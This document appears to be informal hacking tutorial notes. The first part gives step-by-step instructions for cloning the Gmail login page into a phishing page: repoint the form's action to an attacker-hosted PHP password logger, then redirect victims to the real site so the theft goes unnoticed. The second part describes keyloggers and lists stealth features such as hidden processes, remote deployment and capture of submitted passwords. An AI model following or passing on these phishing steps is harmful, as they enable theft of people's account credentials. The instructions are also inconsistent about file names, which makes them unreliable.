COMPUTER SECURITY

1. Phishing

First Download: Gmail fake page


1.once you have downloded Gmail fake login page now extract contents in a folder


2.Now open login script(right click and then select edit) and find (CTRL+F) 'www.indane.co.in' then change it to your to is the 'http://www.google.com'


3.Note:'http://www.google.com' is the redirection url,When victim will enter his/her email and password he will redirected to'http://www.google.com' instead of "www.indane.co.in"
Now Save it .

Step 1:-Open the website whose phishing page you want create.
Step 2:-Then right click any where on the page and select view source.
Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
Step 7:-Replace the link between this red quote with the link you got by uploading the file hacking.php and it should
be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
Step 8:-Now Save this as serverlogin.htm

(
When a user types a Username Password in the the text box,The info is sent to "login.php" which acts as a password logger and redirects the page to "LoginFrame2.htm" which shows "There has been a temporary error Please Try Again" in it .So when the person clicks on try again it redirects to the actual URL so that the victim does not know that yoursite is a fake site and gets his gmail.com password hacked )



Keylogging
About keyloggers
A keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are
hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the
hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or
be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the
user. Keylogger is commonly included in rootkits.
A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the
hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.
There are other approaches to capturing info about what you are doing.

• Somekeyloggerscapture screens, rather than keystrokes.
• Otherkeyloggerswill secretly turn on video or audio recorders, and transmit what they capture over your internet connection.

A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the
registry. Or a keyloggers could be which boasts these features:

• Stealth: invisible in process list
• Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)
• ProBot program files and registry entries are hidden (Windows 2000 / XP)
• Includes Remote Deployment wizard
• Active window titles and process names logging
• Keystroke / password logging
• Regional keyboard support
• Keylogging in NT console windows
• Launched applications list
• Text snapshots of active applications.
• Visited Internet URL logger
• Capture HTTP POST data (including logins/passwords)